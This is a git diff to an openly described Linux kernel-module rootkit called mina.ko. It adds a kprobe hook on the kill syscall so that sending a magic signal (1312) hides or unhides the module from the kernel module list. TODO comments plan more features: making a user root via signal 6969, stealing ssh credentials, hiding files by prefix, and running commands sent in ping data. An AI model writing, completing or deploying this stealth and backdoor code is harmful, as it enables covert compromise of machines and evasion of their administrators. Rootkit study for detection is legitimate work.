mina.ko

diff --git a/rootkit/hooks/kill.c b/rootkit/hooks/kill.c
@@ -1,11 +1,52 @@
 
 #include "../includes/mina.h"
 
+#define SIGNAL_TOGGLE_HIDE (1312)
+#define SIGNAL_SET_ROOT (6969)
+
 void *kill_original = NULL;
 
-asmlinkage int64_t hook_syskill(const struct pt_regs *r) {
+/* required to show / hide the module (hidden by default) */
+int is_hidden = 1;
+struct list_head *prev_module;
+
+asmlinkage int64_t hook_syskill(const struct pt_regs *regs) {
+
+    printk(KERN_INFO "[MINA] in hooked signal\n\t=> sig:%i\tpid:%i\n", regs->si, regs->di);
     if (kill_original == NULL)
         kill_original = syscall_linear_search(HOOK_SYSCALL_NAME);
 
-    return make_syscall(kill_original, r);
+    int sig = regs->si;
+
+    /*
+        TODO(djnn):
+         * Sending a signal 6969(to any pid) makes the given user become root,
+    */
+
+    /* hide or unhide the module:) */
+    if (sig == SIGNAL_TOGGLE_HIDE) {
+        if (!is_hidden) {
+            printk(KERN_INFO "mina: hiding module:)\n");
+            hide_module();
+            return 0;
+        } else {
+            printk(KERN_INFO "mina: welcome back!\n");
+            readd_module();
+            return 0;
+        }
+    }
+
+    return make_syscall(kill_original, regs);
+}
+
+void hide_module(void) {
+    prev_module = THIS_MODULE->list.prev;
+    list_del(&THIS_MODULE->list);
+    is_hidden = 1;
+}
+
+void readd_module(void) {
+    list_add(&THIS_MODULE->list, prev_module);
+    printk(KERN_INFO "mina: welcome back!\n");
+    is_hidden = 0;
 }

diff --git a/rootkit/includes/mina.h b/rootkit/includes/mina.h
@@ -7,7 +7,10 @@
 
 #include <linux/kprobes.h>
 
-#define MINA_INHOOK_FLAG (0x1337)
+/* located in kill.c */
+
+void hide_module(void);
+void readd_module(void);
 
 typedef struct mina__hook {
     /* https://www.kernel.org/doc/Documentation/kprobes.txt */

diff --git a/rootkit/mina.c b/rootkit/mina.c
@@ -10,12 +10,12 @@ MODULE_DESCRIPTION("mina LKM rootkit^-^");
 MODULE_VERSION("0.0.1");
 
 /*
- * mina.ko/rootkit => tiny LKM rootkit spyware thing
- * written by djnn (https://djnn.sh)
+ * mina.ko/rootkit
+ * tiny LKM rootkit with kprobe hooking written by djnn (https://djnn.sh)
  */
 
 hook_t SYS_HOOKS[] = {
-    /* used to trigger actions, prevent from killing some process */
+    /* used to trigger actions, prevent from killing some process, hide current rootkit */
     {.hookaddr = (int64_t)hook_syskill, .kpb = {.symbol_name = HOOK_SYSCALL_NAME}},
 
 };
@@ -31,11 +31,11 @@ void *syscall_linear_search(const char *hk_name) {
     }
 
     /* NOTE(djnn): what to do if the hook is not found ? */
-    printk(KERN_INFO "[! mina !] could not find original for %s\n", hk_name);
+    printk(KERN_INFO "[MINA] could not find original for %s\n", hk_name);
     return NULL;
 }
 
-int make_syscall(void *callme, const struct pt_regs *regs) {
+inline int make_syscall(void *callme, const struct pt_regs *regs) {
 
     int ret = 0;
     asm("mov %1, %%rdi;"
@@ -61,7 +61,7 @@ int __hook_tranpoline(struct kprobe *kp, struct pt_regs *r) {
     return 0;
 }
 
-static void __setup_hooks(void) {
+static int __setup_hooks(void) {
     hook_t *iter = NULL;
     for (int i = 0; i < nb_hooks(); i++) {
         iter = &SYS_HOOKS[i];
@@ -73,8 +73,10 @@ static void __setup_hooks(void) {
                    iter->kpb.symbol_name,
                    iter->kpb.addr,
                    iter->hookaddr);
-        }
+        } else
+            return -1;
     }
+    return 0;
 }
 
 static void __remove_hooks(void) {
@@ -91,16 +93,15 @@ static void __remove_hooks(void) {
 static int __init module_start(void) {
     printk(KERN_INFO "mina is cute ~\n");
 
-    __setup_hooks();
+    if (__setup_hooks() < 0)
+        return 1;
+
+    // hide_module();
 
     /*
        TODO(djnn):
 
-       - remove module from module list & hide it
-       - execute:
      * steal ssh credentials,
-     * Sending a signal 1312(to any pid) makes the module become (in)visible,
-     * Sending a signal 6969(to any pid) makes the given user become root,
      * Files or directories starting with the MAGIC_PREFIX become invisble,
      * Possibility to execute commands by pinging the machine with MAGIC_PREFIX in data field